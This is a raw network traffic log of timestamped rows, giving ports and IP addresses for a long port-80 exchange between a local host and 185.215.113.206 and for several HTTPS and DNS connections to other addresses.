Nov 12, 2024 06:23:31.185044050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185060024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185074091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185163975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.185164928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.185683012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185704947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185718060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185735941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.185815096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.185892105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185904980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185916901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.185966969 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.185966969 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.186117887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.186145067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.186156988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.186268091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.191834927 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.191888094 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.193706036 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.193918943 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.193938971 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.204102993 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:31.225419044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225440025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225459099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225474119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225485086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225500107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225502968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.225516081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225538015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.225572109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.225572109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.225910902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225955963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225966930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.225980043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.226000071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.226010084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.226027966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.226059914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.226572037 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.226603031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.226619005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.226639032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.226665974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.239557028 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.239574909 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.239859104 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.239881039 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.240075111 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.250837088 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:31.266679049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.266699076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.266712904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.266804934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.266804934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.266964912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.266993999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.267004967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.267080069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.285067081 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.285084963 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.285187006 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.285187006 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.285211086 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.285375118 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.300328016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.300343990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.300365925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.300374985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.300393105 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.300440073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.300964117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.300986052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301016092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301019907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.301037073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.301064968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.301073074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301086903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301099062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301121950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.301151037 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.301510096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301559925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301570892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.301585913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.301610947 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.317528009 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.318731070 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.318763018 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.319655895 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.319662094 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.340701103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340734005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340800047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340877056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340889931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340900898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.340959072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340972900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.340982914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.340986013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.341000080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.341012955 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.341021061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.341234922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.341758966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.341813087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.341829062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.341835022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.341907978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.341907978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.342174053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.342185974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.342199087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.342221022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.342256069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.347213030 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:31.347248077 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:31.347346067 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:31.347980976 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:31.347991943 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:31.382126093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382144928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382157087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382229090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.382229090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.382297039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382308960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382319927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382332087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.382353067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.382395983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.401467085 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.401484966 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.401611090 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.401638031 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.401729107 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.415806055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.415838003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.415849924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416047096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.416259050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416280985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416290998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416363001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.416465998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416476965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416486979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416531086 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.416531086 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.416760921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416795015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.416817904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.417664051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.449024916 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.449167967 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.449274063 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.449363947 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.449363947 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.449382067 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.449392080 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.453612089 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.453651905 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.454560995 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.455212116 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.455224991 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.456159115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456187963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456197977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456290960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456315994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.456322908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456337929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456384897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.456384897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.456634045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456654072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456664085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456708908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.456712961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456724882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456737041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.456758976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.456840038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.457406044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457427979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457477093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.457520962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457562923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457573891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457592010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.457602024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457604885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.457616091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.457638025 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.457683086 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.474160910 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.474176884 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.474267006 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.474287987 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.477746010 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.497303009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.497318029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.497328997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.497385025 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.497517109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.497528076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.497539043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.497560024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.497605085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.531121016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531143904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531155109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531166077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531208038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.531322956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.531537056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531620026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531632900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531689882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.531689882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.531719923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531735897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531749010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.531759977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.531867981 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.571396112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571405888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571501970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571512938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571525097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.571532965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571544886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571561098 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.571609020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.571609020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.571985960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.571999073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572009087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572031021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572098970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572123051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572134018 CET	54502	53	192.168.2.5	162.159.36.2
Nov 12, 2024 06:23:31.572135925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572146893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572161913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572273016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572432995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572443962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572454929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572509050 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572509050 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572524071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572536945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572547913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572559118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572571039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.572582006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572624922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.572624922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.576944113 CET	53	54502	162.159.36.2	192.168.2.5
Nov 12, 2024 06:23:31.577054977 CET	54502	53	192.168.2.5	162.159.36.2
Nov 12, 2024 06:23:31.577115059 CET	54502	53	192.168.2.5	162.159.36.2
Nov 12, 2024 06:23:31.581851959 CET	53	54502	162.159.36.2	192.168.2.5
Nov 12, 2024 06:23:31.582425117 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.583113909 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.583148956 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.583664894 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.583671093 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.590615988 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.590636015 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.590728998 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.590728998 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.590744972 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.590950966 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.591420889 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.591799021 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.591828108 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.592236042 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.592241049 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.594573975 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.595848083 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.595860004 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.597611904 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.597615957 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.612646103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.612668991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.612679958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.612834930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.612900019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.612910986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.612992048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.613003016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.613013983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.616728067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.636059999 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.636076927 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.636148930 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.636164904 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.636245966 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.640739918 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.642326117 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.642326117 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.642348051 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.642354965 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.646560907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.646605015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.646615028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.646634102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.646641016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.646708012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.646998882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.647037983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.647049904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.647083044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.647093058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.647110939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.647128105 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.647175074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.686748028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686774015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686786890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686805010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.686853886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686866045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686876059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.686877966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686902046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.686903954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686917067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.686923981 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.686935902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.686994076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.687426090 CET	80	49779	185.215.113.206	192.168.2.5
